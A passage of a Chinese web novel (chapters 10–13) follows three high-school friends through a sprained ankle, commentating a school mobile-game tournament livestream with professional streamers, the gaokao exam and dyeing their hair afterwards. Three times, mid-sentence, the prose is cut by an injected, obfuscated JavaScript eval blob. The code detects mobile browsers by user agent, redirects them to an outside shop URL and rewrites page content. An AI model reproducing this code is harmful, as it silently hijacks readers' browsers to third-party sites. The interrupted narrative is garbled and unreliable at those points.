他掀开校服外套,就见陈一衡欲言又止地站在外面,一手打伞,一手拿着一包冰块,眼神落在叶吟胸前的“铜狗牌”上。 叶吟接过冰袋:“多谢。” ——她脚踝肿得像个馒头。 杨星这才看见,一愣,表情严肃起来:“这怎么搞的?” 叶吟淡定地说:“这是我跳高的奖牌。” 杨星低头:“我看看。” 没等叶吟拒绝,他伸手碰了碰那发红肿高的组织,又轻轻捏了捏肿块边缘:“崴着了,不去医务室?” 叶吟眼皮微跳,下意识缩了回来:“不至于去医务室,但我感觉,这个伤可以请一个星期的跑操假了。” 三中的跑操每天都有,上午大课间,一次两圈。任务不重,但跑操总是让人想死的,叶吟挺高兴,又有借口逃跑操了。 杨星还有点担心的样子,叶吟干脆说:“陈一衡都帮我拿冰块了,我敷一会儿就行。” 陈一衡默默开口:“杨同学应该还有别的项目吧?” 她是看到了叶吟的脚,悄没声地拿了冰块回来,也不邀功,好像一切都是她该做的一样。 相比之下杨星就落了下风,他想了想:“崴脚要抬高,要不你把脚抬起来?。” 叶吟:“……在这?观战席?把脚,抬到心脏以上?嗯?” 本回合,陈一衡大获全胜。 等杨星走后,陈一衡有点犹豫地说:“叶吟,你跟杨星关系真好啊。” 叶吟点点头:“发小嘛,怎么了” 陈一衡组织语言:“有人说你们俩的闲话,虽然很少啦,但我总觉得,可能、或许,男女同学之间还是应该保持些距离?我没有别的意思……” 说闲话? 这在叶吟透明人的人生里可不多见。 叶吟有点来了兴趣:“他们怎么说的?说我们俩谈恋爱吗?” 陈一衡:“说你们小时候定的娃娃亲。” 叶吟没憋住笑:“哈哈哈哈哈哈哈哈!” 11. 第 11 章 叶吟把陈一衡的话当乐子转达了杨星。 此人因为担心叶吟的馒头脚,想着他们一起住校顺路,主动承担起了扶伤病号上下学的任务。 杨星也一愣,不可置信地说:“娃娃亲?你和我?” 他第一反应是,这也太冒犯了,但转念一想又感觉……诶,不敢感觉了。 杨星清了清嗓子:“那个,别的不说,我妈应该会很高兴。” 叶吟顺着想了想,无可无不可地笑了下。 她一只手搭在杨星手臂上,像娘娘搭着她的大太监。 第一天的时候,叶吟还感觉有点奇怪,而且自从两人开始避免肢体接触后,这种贴贴着实属于踩着他们的神经跳舞。 不知道杨星怎么想的,反正叶吟不想跳着脚上下学,所以她到底是默许了,且作为感谢,在脚踝彻底康复后请杨星吃了顿自助。 陈一衡试图争夺此任务,因身高问题惜败,最后获得了另一个任务:“帮叶吟带饭。” 叶吟生怕她为了给她带面条吃一星期面:“一天米饭一天面?” 陈一衡忍俊不禁,认真答:“一天米饭一天面。” * 从春天转到夏天,嘈杂蝉鸣又开始骚扰人类耳朵。 高考那几天,高一高二要腾出教室当考场,叶吟从自己桌洞最里面翻出了高二刚开始的时候,杨星给xx的叶吟写的那封两块五。 回家的路上,他们站在地铁里跟着车厢晃来晃去。叶吟从兜里掏出那张信封:“暑假过去就是高三了,写了两年,明年还写吗?星哥对叉叉的叶吟真是长情啊。” 杨星“哟”了一声:“你想要吗?小卖部又涨价,现在得三块了吧。” 叶吟抖了抖信封:“不是,这个东西?你问我想不想要?” 杨星挑眉,坏坏地说:“高中两年,叶同学凭实力保持潜水状态,应该是没收过情书吧。” 叶吟不为所动,淡定道:“除去你这个叉叉的叶吟,那些不都是给叶吟的?倒是你,杨同学,运动会结束你班啦啦队有没有给你跳个舞庆祝?” 杨星像是想起了什么不堪回首的体验,脸色一变,活像是吃了苍蝇:“别提了,铜牌算班级积分,还真有,啦啦队长一米九,他把我当钢管跳了段钢管舞。” 叶吟:画面太美我不敢想。 你来我往几句,争不出个结果,但气氛似乎越来越古怪,杨星抓着扶手的掌心出了点汗。 情书这事儿从一开始就是稀里糊涂,也不知道扯到这里的两人为什么会生出胜负欲。 叶吟主动换了个话题:“李校花快回来了吧?又是一个学期没见了。” 他们这个五排团体因为李校花的缺席和叶吟的学习劲头大爆发,整个高二下学期游戏频率大幅下降。 叶吟翻出手机慰问了一下集训的可怜孩子,没想到群里是李沫回的消息。 “明天她们就开始放假了。” 杨星抛下那点莫名其妙的情绪,打字问:“你咋知道的?” 李沫:“之前校花说机构有点乱,我跟家里人提了一嘴,结果教培领域我爸好像也有投资,不知道怎么搞的,反正现在就是在那个连锁机构有了点话语权。” 刘胖幽幽地感慨:“这就是资本的力量吗?” 李沫连忙解释:“不至于哈。” 叶吟放下手机跟杨星说:“李沫这个学期有时候已经不来上学了,之前只是不来上自习,现在是课都不听了。” 杨星说:“毕竟要出国,国内的高考成绩应该没什么用吧?他只要合格考通过毕业了就行。” 小伙伴们各有各的发展,叶吟突然有种分别近在咫尺的感觉。 这还没高三呢,就已经在考虑毕业的事情了。她笑自己想太多,看了眼杨星,竟然也是有些沉默凝重的表情。 “你以后准备去哪?”叶吟问。 “我家你知道的,没啥特别安排,能考到哪算哪呗。我也没什么高校情怀,不管去哪都是再混四年。” 叶吟说:“我是真有点想去做游戏。报志愿的时候看看吧,可能专业和院校都会往这方面靠。” 杨星:“那我就去学传媒,然后你做完游戏找我,我给你们投广告。” 叶吟:“得,一条龙了。” 期末成绩下来,叶吟考到了高中最好成绩,赋分后班级第十二。 叶父叶母作为奖励,又给叶吟发了两千奖金。叶吟看着账户余额里多出来的数字,也没跟他们客气。二老要爱没有,经济上是真没短她的。 李校花果然如期到位。 “谢谢李少爷,这个学期机构整顿,风气好了不少,除了还是要上交手机……就不能让机构老师直接把这条也去掉?” 李沫大家长附体:“你要是拿着手机少不了玩游戏不好好训练。” 李校花罕见吃瘪,无力地申辩:“我不会的……” 刘胖:“李大少爷之前有好长时间没来上学,干啥去了是?” 李沫:“去看了一圈国外的学校,顺便旅游了。” 另外四人:……这才是生活啊! 杨星:“不说了,上号孩子们,我的长刀已经饥渴难耐了。” 游戏开始,杨星在语音问:“假期学校组织自习,你去吗?” 叶吟:“包去的,你不去?” 杨星沉默了一下:“本来不想去的,但你这么一说,感觉不去不行了。” 叶吟:“我是鲶鱼嘛。” 刘胖:“什么鲶鱼?红烧鲶鱼?” 卷子跟雪花一样发下来,草稿纸跟雪花一样飞走。整个暑假里,教室里的空调整日开着,食堂却因为假期学生变少关了一个。 小黄鸭学姐在朋友圈晒了高考成绩,考得相当不错,四个人轮流瞻仰了一下,李校花特别虔诚地评论:“跪着接,我只要这个数2/3就行。” 高三,艺术生的集训和文化课要掺着来,她有些担心自己跟不上,但从没在小伙伴面前流露出来,只发了两次牢骚说果然演员当不了物理学家。 学姐回复她:“你肯定没问题[大笑]。” 叶吟在日记里写今日阴晴,吐槽学校的印刷太费眼,说时间跟一只巨大的蜗牛一样走得好慢好慢,结果过一阵子回头看,又说觉得日子长腿、跑得飞快。 日记本越写越厚,像是把透明的时光萃成墨色,文字落在纸面上,每一笔都是人的足迹。 高三开学之前,杨星说:“现在我们是学校的老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568360|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大了。” “反了你了,”叶吟说,“你明天就上课拿着手机玩,怼到老师眼皮子底下,看看你跟教导主任谁是老大。” 刘胖:“别提了,我班有位神人,一个学期被收了三部手机,到学期末才拿回去,结果暑假自习又被收了。” 杨星:“那很有实力了,我们班有上交柜台摆的那种假样机的,结果被发现了,班主任直接一个电话打回家,问他妈妈他手机什么型号的。” 叶吟心说,高一李沫就未卜先知地买备用机玩了,还是旗舰机,表面淡淡摇头:“高三了,少玩点吧。” 刘胖认真脸:“姐,你本来是我们中玩的最多的,现在你已经是最少的了。” 李沫也不来学校了,如果他在,肯定也会狠狠附和刘胖的发言。 开学摸底测,叶吟班级第八名。 老班给同学们开了个简短的班会,点名表扬了一学期进步超大的叶吟。 “去年家长会进步之星漏掉了叶吟,今天拿着咱们班的成绩单比较了一下,叶吟是进步最稳定也是最大的。” 齐刷刷的目光投来,叶吟不自觉地挺了挺腰。被老师漏掉的时候她没觉得怎么样,结果现在是真如芒刺背了。 “我们大家要向她学习。”再苛刻的老班也会对学习进步的孩子和颜悦色,叶吟感觉有点受宠若惊。 陈一衡带头鼓掌,把手都拍红了,叶吟跟她隔着几个座位对视,后者比口型:“太棒了!” 老班顺势邀请叶吟分享一下学习经验。 叶吟:……我? 她颤颤巍巍地站起来,顺拐地走上讲台,一时不知道该从哪里说起。 老班问:“你是从哪里开始决定好好学习的呢?” 叶吟:“从交了一个学霸朋友开始……就像往沙丁鱼群里引入了鲶鱼,然后肉质就会变得紧致Q弹。” 同学们发出善意的笑声,老师却不满意,问:“你有什么内在的动力吗?” 叶吟不确定地说:“……对游戏的热爱?” 她被赶下了台,老班点了第一名上去讲场面话,叶吟反思了一下自己,她想:“确实是这样的哇。” 不过说到朋友,杨星也居功至伟。从小麦果汁围堵二老那一次开始,叶吟感觉自己确实发生了一些变化。 她认真地考虑了自己的愿望和爱好,发现事情并没有想象中那么难,透明人光环是生活的一部分,但到现在,它已经无法再让她怨天尤人。 只是叶吟还是希望有个机会,让她做出点什么来,证明自己的意义并非一个透明的泡泡。 在此之前,她会默默积淀,直到那个豁然开朗的时刻,有足够多的准备应对。 几天后,正巧李校花在学校,刘胖找到了叶吟和杨星,拿出一张熟悉的黑白宣传单:“朋友们,第二届三中农药争霸赛。” 杨星表情严肃:“我得说一句,学习状态出了就不好进,我们已经高三了。” 李校花算着时间:“十月一……我倒是集训放假。” 刘胖表情有些神秘:“这次我们除了参赛还有另一个选择。” 叶吟想的很快:“该不会被邀请做裁判了吧?” 刘胖大惊:“你怎么知道!” 12. 第 12 章 “也不完全是裁判,校方预计今年参赛队伍会变多,所以完善了赛制,还租了设备,邀请我们做解说。到时候会在社媒平台直播,宣传三中校风,”刘胖摸着下巴,“你们怎么想?” “解说要全程跟赛吗?”叶吟问。 “我们五个人呢,肯定不用一起从头跟到尾,”刘胖说,“对了,李沫说如果你们去,他就从遥远的大英帝国赶回来。” “我们五个?解说团?”杨星指了指自己。 “你不觉得很有意思吗?”刘胖双眼放光,“解说诶!” 叶吟:“我们这水平够吗?” 刘胖猛点头:“够的够的,学校只要节目效果博流量,说错了也没关系。再说了,高中校内比赛,得学生专业到什么程度啊!” 李校花倒是觉得这个主意不错:“当娱乐解说不用训练找手感了。” 她是参加比赛就想赢的那种人。 叶吟跟杨星对视一眼:“行吧,反正这才高三上学期。” 没人知道,他们抱着“不专业也没关系”的心态,直到九月底才接到李沫的消息——他联系了外援,专业主播们直播经验丰富,大家完全不用担心说错话的情况。 另外四人:……壕无人性! 杨星跟刘胖捡起了熟悉的称呼,尊尊敬敬地对着游学归来的李沫叫“沫哥”。 李沫:“……别,我说别,求求你们了,太丢人了。” * 十月一号,三中农药争霸赛正式开幕。 去年决赛的红方裁判已经从实习老师转正,作为组织者兼主持人,他对着直播镜头,抖着手念着稿。 身后的沙发里坐了三位只能在媒体软件里看到的头部主播,而去年的冠军五小只也受到感染,闷不吭声地正襟危坐。 ——紧张! 几人心里都是这俩大字。气氛凝滞,还是主播主动接下了活跃气氛和介绍赛制的任务。 杨星小声说:“我感觉我脸已经僵硬了。” 刘胖:“看到镜头就后悔了,我说真的。” 李校花坦然一些,但也是第一次接这种活儿,她在心里把演过的角色翻了一遍,竟然找不到半个能套用的。 叶吟:“坚持这一会儿就结束了。” 刘胖:“不,下午还有,下午是你跟杨星。” 叶吟:“……” 他们看不见弹幕,不知道有路人点进了这个高中直播间,本想立刻划走,结果看到了熟悉的人影。 退出去看了眼直播间标题,路人不可置信地再次点进来,打字发弹幕:【a神?】 abc看到了弹幕,友好地打了声招呼:“欢迎xxx进入直播间,我们刚刚说到这场比赛……” 路人:?活的?不是录播? 五分钟后,直播间热度大涨,但线上开幕式已经接近尾声,DEF眯着眼睛看弹幕,时不时抽出来两条回应一下。 “对,这里是Q市三中。” “平民电竞,这个说法我喜欢。” “今天下午正式开始,我们会挑选一些比赛为大家解说。” “是的,a神跟我还有暗老师会随机出现。” 暗老师直播ID暗夜,是个不爱说话的酷哥。他耳朵尖,刚刚听到了五小只的讨论,下意识看向下午的两位搭档。 结果两个高中生正眼巴巴地瞅着他,眼神像看救命稻草,也像看什么可怕的洪水猛兽。 酷哥:…… 他也有些后悔接这活儿了。 然而等三人真地硬着头皮顶上,发现其实,都还好。 今天下午是第一轮淘汰赛,段位最低的选手甚至跟当年的李沫有一拼。 想象中紧张专业的气氛根本不存在,选手们有六分钟投降的、有闪现点反的、有bp阶段空ban位的、有大顺风以为一波了眼疾手快把装备全卖了结果被对面守住的…… 笑料太多,连酷哥都没绷住,而杨星跟叶吟又颇有默契,跟着李校花学出来两张毒嘴。 杨星:“第三组,现在是第就分钟,经济差已经高达一万二。” 叶吟:“水晶没炸,问题不大……炸了,那就下一把。” 弹幕:【一开始没听清她说的什么,结果是言出法随之术啊!】 杨星:“第四组,双方平均段位都在钻石,比赛进度胶着。” 酷哥艰难开口:“红方庄周用被动技能伤害抢下了最后一条暴君。” 叶吟:“精准控血,这位同学可能更适合打野位。” 弹幕:【扣1支持同学转型。】 因为选手水平良莠不齐,逛到哪都有笑点,直播效果出乎意料的好,只有零星弹幕在问:【这是什么比赛?感觉水平有点……】 杨星淡定地拿出老师准备的稿子:“欢迎观看Q市三中第二届校园农药争霸赛,我们的办赛理念是:高中娱乐需适度,不能赢了游戏输了人生。” “……报名要求三中在读,黄金段位及以上,决赛第一名将获得升旗仪式颁奖致辞的资格,我们是娱乐解说团……” 弹幕:【等等,之前暗夜说话了?】 【我去,真有暗夜。】 【暗夜,我的哑巴新娘!】 叶吟转头,老实巴交地说:“暗老师,他们叫你哑巴新娘。” 杨星念完了稿,俏皮眨眼:“大家都很喜欢暗老师。” 暗夜默默地看着两位好奇的高中生,顶不住地开口:“谢谢大家。” 弹幕:【\暗夜/\暗夜/\暗夜/\暗夜/】 杨星:“玩梗还是当面玩有意思。” 下午的比赛在吵吵嚷嚷的弹幕中结束了,一半的队伍被淘汰,明天会继续进行第二轮淘汰角逐。 暗夜跟两人告别,毫不引人注目地走了。叶吟嘴里含着金嗓子,声音有点模糊:“感觉一天说了一个月的话。” 杨星看了看他们当时商量的解说赛程:“明天上午是李沫跟刘胖,下午开始小组赛,你跟李校花。” 叶吟叹了口气:“任务艰巨啊。” 刘胖是a神死忠粉,半天的解说基本是abc带着李沫说,刘胖全程星星眼,胡乱地“嗯嗯啊啊”捧着。 弹幕:【笑死了,这高中生演我。】 【要是我高中也这么宽松就好了,竟然还有机会跟a神近距离接触。】 【这种学校是不是都不禁手机啊?学生哪有那么高自制力。】 李沫掏出稿子准备应对恶评,没想到a神开口,讲了自己的故事:“其实我觉得,堵不如疏。当年被家长按在学校里学习,我自己偷偷买了手机,开始做直播,就是靠那股逆反劲。” “不是说后悔,只是现在想想,根本没必要。如果不是为了顶撞家长,我不会高考缺考……现在的孩子有了更多的机会、他们也应该有更多的选择、更大的自由。” “你认为的‘好’不一定是ta的‘好’,每个时代都有每个时代的答案。” 刘胖热泪盈眶:“a神,你真的我哭死。” 弹幕:【对,从没说过要玩到一点不学习,但家长控制欲太强,而且他们自己根本没感觉。】 【回家压抑死了,做什么都是错,翻来覆去就是一句好好学习,是我没好好学吗?】 【优绩主义东亚小孩一辈子的梦魇,除了比别人更优秀什么都是错的。】 【从来不知道自由是什么感觉,旁边的娱乐解说是高三生吧,竟然还能参加这种活动,搁我们这已经被骂死了。】 李沫有些沉默,这些东西离他很远,但他看了眼面色不算愉快的abc,又看了眼一脸感同身受的刘胖,拍了拍他的肩膀。 “呜呜呜呜沫哥……”刘胖顺势靠了过来。 弹幕:【工作一年,感觉高中已经离我很远了,现在突然想起来,有些压力当时根本没察觉。】 【高中巨拧巴,眼光也短浅,要是有人能拉一把就好了。】 【看小说电视剧里的高中都好幸福,结果自己的高中永远是灰扑扑紧巴巴的。】 【Q市三中是吧?挺好的,以后要保持下去啊,我们都看着呢。】 上午的解说台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574438|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成了怀旧青春和批斗大会,下午李校花一出现,弹幕的画风再次变异。 弹幕:【哇塞,好漂亮的高中生。】 【气质特别好……我猜是香香软软的游走位,嘿嘿。】 李校花瞥了一眼,皮笑肉不笑:“谢谢,我是又臭又硬的土匪打野。” 叶吟帮腔:“也是我们第一届的冠军教练,超绝意识、顶级操作。” 李校花单手握拳:“咳,别,D神才是真正的顶级打野。” DEF开始商业互吹:“没有没有,我听小沫说了,你们去年最后一把的bp做得特别专业。” 李校花心想,专业啥啊,我们就是几个王者低星仔。 她还没来得及再推脱,叶吟大包大揽地点头:“对,全靠李教练。” 弹幕:【哇,人不可貌相啊。】 【捧哏解说本来特没存在感,突然就支楞起来了,好好笑。】 【看比赛,看比赛。今天第三轮了,有没有什么比较让人眼前一亮的选手?】 【一想到大家都是普通高中生,感觉就跟看我哥们儿被临时抓上场打比赛一样,有点好笑。】 叶吟想起第一轮的那个把装备全卖了的选手,她说:“我倒是想起来一个,别的不知道,手速特别快。” 屏幕切到这一组,果然这方又是大优势。 DEF:“年轻就是好啊,韩信主视角一直在切装备栏、拉视野。” 叶吟:“希望这位选手不要再提前卖装备了。” 李校花调出历史战绩板,说:“第一轮第二局胜利的时候,他装备栏是四件痛苦面具。” DEF笑着说:“那真是很痛苦了。” 当日直播结束,赛程已然过半。 DEF给李校花递了一张名片:“我最近在做游戏团播,基本没见过颜值和技术都在线的苗子,如果成年之后你想试试这条路的话,可以联系我。” 李校花没当场拒绝,事后两人从后门走,她好笑地跟叶吟说:“他把我当什么人了?” 又想起,这已经不是她考前三的高一了,李校花幽幽叹了口气。 叶吟仿佛没察觉到她情绪变化,开玩笑说:“你如果被拐去当游戏主播,未来我们直接损失一位诺奖得主、一位影后,DEF半夜想起来得给自己一巴掌,说我当时怎么能这样?” 李校花眼睛一弯彻底乐了,但还是说:“那太可惜了,极限二选一已经有结果了。” 她对此一直有遗憾,只是现实压力更大,根本没时间踌躇。 九月的月考成绩没出,文化课压得人喘不动气,她表情淡下去,露出了几分真情实感的沉重。 “我怀疑,我是不是走错了?”她说,“家里也就是小康水平,只因为我想当演员,就支持我抛弃了作为正常学生的光明大路。” “万一我考不上呢?万一我以后找不到工作呢?万一我想要的太多,结果一事无成呢?” “如果有人能告诉我答案就好了。”她自嘲地笑了下,整个人都是少见的低能量状态。 叶吟却说:“如果是正常学生的光明大路,应该不会在国庆假期打校园电竞吧。你看,咱们学校都这样了,哪有那么多正常、那么多正确?你不走到头,怎么知道路是错的?” “如果人生这个问题从出生就注定了结局,就像一把游戏在开始前就知道了输赢,那还好玩吗?你还会想玩吗?” 李校花愣愣地看着她。 “这时候就该掏出那句老话了——水晶不炸,问题不大。” “你是全世界最好的李小花,最有力量的李小花,如果连你都做不成的事情,那就没有人能做成了。” 叶吟非常认真地说:“我比相信自己更相信你。” 话音刚落,正好从迈出体育馆后门。两人不约而同抬头,只见天气晴好,又是一场绚烂晚霞。 霞光像是妆粉扑到脸上,让人脸颊发红,眼圈微烫。 李校花心中一松,吸了吸鼻子:“又是一年。” 叶吟轻叹:“是啊,又是一年。” 13. 第 13 章 因为这场游戏比赛,Q市三中站上了舆论的风口浪尖。比赛结束当天,校方还收到了电视台的邀约,第二天上午要来做个采访。 已经转正却依然没有老师样子的组织者说:“要不,你们几个去吧,我有点怵。” 刘胖一脸“你在说什么”的表情:“老师,但你才是老师啊。” 老师姓洪,教历史,私下里的绰号就叫洪秀全。他年轻,跟学生打成一片,根本没什么威严。 洪老师愁苦地说:“领导发话了,要确保电视台的报道正面、准确、务实地展现我校风采。” 杨星同情且无情地说:“老师加油。” 另外几人和新出炉的冠军队齐刷刷点头:“老师加油。” 冠军队队长就是那个手速超快的打野,小麦色的皮肤和一头利落板寸,见面的时候直接惊呆叶吟几人。 叶吟率先开口:“恭喜……我们也不要3D打印银龙杯队……夺冠。” 为了防止被无视,她上前一步,主动把手伸到了学妹的眼皮子底下。对方羞涩一笑,跟她握手:“队名是跟学姐们抄袭来的,请别介意。” 洪老师“哼”了一声:“今年的奖杯可比去年大。” 叶吟提醒:“去年颁奖致辞是老师上,今年的获奖致辞要你们自己写了。” 打野队长拍胸脯:“包在我身上。” ——她一定会写出惊天地泣鬼神的鸡汤演讲稿的! 过了两天,李校花就要去集训了。走前她特意把自己的月考成绩单给叶吟发了一份,附言:“宝刀未老!” 叶吟点赞:“六百六十六!” 她还看到了那篇乏善可陈的报道,阅读量刚刚四位数,远不如比赛直播效果。 报道转发到五人群里,刘胖吐槽:“洪老师不是很能说吗?这个也太糊弄了。” 李沫却说:“他也没办法,校方有要求呢。” 转过星期来的升旗仪式,冠军获奖感言是这场校园电竞最后的余热。 惊天地泣鬼神的学妹在国旗下认真检讨了自己半场开香槟的行为,然而结尾又在同学们的笑声中,奇迹般地绕回了主线: “别松劲,我们一定可以逆风翻盘!” 铿锵有力的高一学妹跟她的队友骄傲地捧起奖杯,叶吟五人却在台下交头接耳。 “太中二了。” “咱们去年也是这样吗?” “应该是吧,没想到从下面看有点呆瓜。” “当时觉得自己帅爆了好吗。” - 十月往后,天气就逐渐冷了下来,校服外套里的打底从短袖变成卫衣,再往后卫衣里还要加打底。 叶吟随手拿着单词本去接水,被杨星从背后拍了下肩膀。 “怎么了?” 杨星说:“我妈说要给你织件毛衣,你要吗?” 叶吟:“……啥?” 杨星难以启齿地说:“我妈要给你织毛衣!” 声音略微有点大,陈一衡加快脚步,恨不得假装自己不存在。 叶吟不懂:“为啥要给我织毛衣。” 杨星:“咋了,她织不行,还得我给你织?” 叶吟婉拒:“那倒大可不必,总之别麻烦阿姨了。” 杨星一锤定音:“我就说你会拒绝,但没用,你跟她自己说去。万一说不过她就老老实实量尺寸,反正别为难我这个传信的。” 事情追溯起来,是十二月杨星生日到了。杨星妈决定织件毛衣给他当生日礼物,她不期然想起了叶子,于是大胆决定:织毛衣就得一人一件! 叶吟百般推脱,杨星妈万般固执,两人大战三百回合,最后杨星妈大获全胜。 爱心毛衣陪着叶吟过了一个特别冷的年,合身且保暖,还不扎脖子。 高三寒假一共只放了一星期,正式开学后白昼越来越长,天气也逐渐暖和起来。一轮又一轮的复习跟滚轴一样从学生的脸上压过去,留下了一人一脸的车辙子。 模拟考到让人麻木,但叶吟每次等分数还是会有种心惊肉跳的感觉。 陈一衡说她一直在进步已经很厉害了,她摇摇头说:不够,我想考九八五。 杨星被叶吟卷得难受,所以他一边自己偷偷使劲,一边转移压力卷刘胖,刘胖叫苦不迭。 李校花开始各地跑校考,问她报了什么学校也不肯透露,今天说“事以密成”,明天说“等出了结果吓你们一跳”。 李沫是最清闲的。他雅思考完、预科班九月才开学,人啥事儿没有,就全国到处遛,时不时会遭到四个高中生的谩骂攻击。 ——他本人完全不在意。 叶吟的十八岁生日在五月底,她没声张。 正好是个周末,但家里没人,她奖励自己看了个老电影,看完就又去做题了。 高考前一天放假,老师让学生们“静悟”。 李校花感觉自己最后一口气都要被悟没了,在群里发:“天降将大任于是人也,必存天理、灭人欲。” 李沫冒泡:“大家加油。” 杨星说:“我要碾叶吟十分!” 刘胖:“星哥,你上次摸底没考过人家,快别放大话了。” 叶吟点进私聊,提起一件事:“十分,如果是我碾你,那你要告诉我,为什么这么多年都要假装看不到我。” 杨星口头“啧”了一声,心想还记着呢,打字回复她:“行。” 静悟结束,管你静了还是没静,考试的日子到了。 杨星妈跟老班都穿了旗袍,寓义为“旗开得胜”。 杨星直到进安检前还在听妈妈絮叨:“东西拿好了没啊,身份证,手表摘了吗?替换笔芯呢?……” 杨星烦不胜烦,余光瞥到一个人的叶吟,撒腿就跑。 “东西都拿了吗,身份证、涂卡笔橡皮签字笔替芯……” 叶吟失语一瞬:“你念紧箍咒吗?” 杨星挠头:“害,这不是紧张吗?” 叶吟表情淡淡:“紧张也没用,考了多少次了,说不定最后该多少分就多少分,挣扎也没用。” 得,看她这么淡定,杨星也沉稳了下来。 结果叶吟幽幽地来了一句:“大不了就再来一年罢了。” 杨星:……疯了。 考试按部就班地向前推进着,草稿纸上留下的不是演算,而是这三年积淀、无限纠结与畅快。 答题卡上涂黑的方格像是一行行艰难的足迹,而在路的尽头,是高考对无数条人生的审判。 结果会是怎样? 不重要,别去想。 考场上,只要全力以赴,只要争分夺秒。 如果说,刘胖最烦考试之后的什么人,那他一定会秒答:“对答案的人。” 很不幸的是,在他的朋友中,这样的人有两个。 第一天考完语文考数学,两人忍着没动,但第二天考完英语有整整一下午时间,他们实在是坐不住了。 微薄上真题满天飞,叶吟跟杨星对了数学,完事儿叶吟往床上一躺,心中俩大字:完蛋。 ——数学选填就扣了20,120基本没希望了。 她愣愣地看着天花板,觉得说不定冥冥之中真有命运这玩意儿吧。 这份丧气她没跟任何人说,叶吟花了一下午把自己调整好,想:“还有三门。” 等考到小科最后一门生物之前,李校花已经开始在群里发疯了。 “先走一步了,尽人事听天命……” 叶吟:“先别听天命,这才中午,还有没考完的。” 杨星:“比如我。” 刘胖:“比如我。” 李校花:“我真忍不了了。考地理几乎空了两道大题写不出来,然后又不能提前交卷,我干脆给自己想了个艺名,准备以后出道用。” 叶吟:“?” 李校花:“总不能报大名说李小花吧,艺人都有艺名的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582620|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶吟:“所以你的艺名是……?” 李校花:“季雾,怎么样,是不是特别有氛围感、特别好听?” 叶吟:“还特别有梗。等你火了别人采访你你就说,这是你在高考地理考场上想出来的,季节性平流雾,一听就很有深度。” 李校花:“诶,平流雾是季节性的吗?” 刘胖:“平流雾沿海地区常见,勉强算是吧……不儿,地理都考完了,脑子都被一键清空了,别问我啊!” 叶吟:“……我随口说的,我又不考地理。” 等生物考完,这场轰轰烈烈的考试就正式落下帷幕。 叶吟不知道怎么形容走出考场的心情,大概是双方团灭、只能看着超级兵推家,又不知道到底谁哪边先推掉,就只能干巴巴地等着。 而这段等待的时间,长达半个月。 李沫已经回到了Q市,刚考完试的傍晚,五人在熟悉的肯x基聚头。 刘胖:“说真的,我好像一点都不开心。” 杨星说:“确实,我也一样。” 叶吟仿佛没事人一样说:“我数学选填扣了二十。” 另外四人一愣,李校花摸上她的手,轻轻地拍了拍:“没关系,都考完了。” 叶吟觉得自己并不难过,只是感觉心里有点空,跟缺了一块儿似的。 她不想把这种情绪传染给刚刚解脱的大家,于是感慨说:“果然不该对答案啊。” “玩游戏吧,”李沫拿出手机,“你们是不是很久没玩了?最近更新了点新东西……” 杨星慢半拍地附和:“来。” 食不知味地打了两把排位,都输了。 刘胖叹气:“玩儿不下去了。明明考试之前手痒得不得了,现在却觉得诚没意思。” 李校花也长长地舒了一口气,然后突然想起来什么一样:“要不我们去染头发吧。” 没人跟上她的脑回路,但四个脑袋都转了过来,等她的下文。 “你们四个十八年黑毛,今天一起去换个颜色,”李校花说,“就当是一个结束,和新的开始吧。” * 五个人挤进了理发店,杨星戳了戳刘胖:“你要是染个奶奶灰回家,会不会被你妈揍啊。” 刘胖一脸视死如归:“是兄弟就一起染!” 李沫对着理发店里的镜子拍了一张照:“纪念一下最后的原生黑毛。” 李校花按下他的手机:“又不是以后不长了。” 叶吟翻了翻色卡,说:“给我来个绿的。” 漂头发的时候,头皮有种火辣辣的感觉,上色的药膏在托尼老师手里是一个颜色,上了头发是一个颜色,洗掉又是一个颜色。 等五人都染完聚头,你看看我,我看看你,突然就乐了。 “李校花,你跟叶吟怎么红配绿?”刘胖指着她俩笑,“精神小妹儿,两个。” “这是情怀,你不懂。”李校花抱臂说。 李沫一头金毛,亮到发光,杨星上下打量一番:“人群中最靓的仔,像歪果仁。” “杨星这个棕色就太普通了,不过刘胖……你这个粉色,有点太潮了。” 叶吟:“潮到风湿。” 换了发色就好像换了种心情,那种略微压抑的气氛消散了,晚上等叶吟回家,父母都有些意外。 “我想尝试一下,”叶吟以为他们会反对,“毕竟都考完了,名义上,我解放了。” 叶妈妈摸了摸她的头发丝,半晌,说:“头发长长了,叶子。” 高一开学的叶吟头发齐肩,三年没剪,现在已经长到腰了。 “个子这三年没长多少,”她轻轻地感慨说,“但大姑娘了。” 叶吟有一瞬间的怔愣,想问她,你都记得吗? 